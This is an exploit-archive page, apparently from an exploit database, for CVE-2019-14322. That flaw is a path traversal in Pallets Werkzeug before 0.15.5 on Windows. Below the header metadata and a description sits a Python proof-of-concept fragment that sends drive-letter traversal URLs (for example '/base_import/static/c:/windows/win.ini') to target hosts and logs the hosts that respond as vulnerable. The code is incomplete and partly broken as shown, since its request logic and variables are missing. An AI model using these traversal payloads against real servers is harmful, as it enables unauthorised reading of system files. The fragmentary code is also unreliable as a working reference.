Exploits / Vulnerability Discovered : 2021-07-06 |
Type : webapps |
Platform : python
This exploit / vulnerability Pallets werkzeug 0.15.4 path traversal is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Pallets Werkzeug 0.15.4 - Path Traversal
# Date: 06 July 2021
# Original Author: Emre ÖVÜNÇ
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://palletsprojects.com/
# Software Link: https://github.com/pallets/werkzeug
# Version: Prior to 0.15.5
# Tested on: Windows Server
# CVE: 2019-14322
# Credit: Emre Övünç and Olivier Dony for responsibly reporting the issue
# CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-14322
# Reference : https://palletsprojects.com/blog/werkzeug-0-15-5-released/
Description : Prior to 0.15.5, it was possible for a third party to potentially access arbitrary files when the application used SharedDataMiddleware on Windows. Due to the way Python's os.path.join() function works on Windows, a path segment with a drive name will change the drive of the final path. TLDR; In Pallets Werkzeug before 0.15.5, SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames lead to arbitrary file download.
#!/usr/bin/env python3
# PoC code by @faisalfs10x [https://github.com/faisalfs10x]
# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)
for endpoint in [
'https://{}/base_import/static/c:/windows/win.ini',
#'https://{}/web/static/c:/windows/win.ini',
#'https://{}/base/static/c:/windows/win.ini'
]:
try:
if 'fonts' and 'files' and 'extensions' in resp.text:
print(Fore.LIGHTGREEN_EX +Style.BRIGHT +" [+] " +url2+ " : vulnerable====[+]")
with open('CVE-2019-14322_result.txt', 'a+') as output:
output.write('{}\n'.format(url2))
output.close()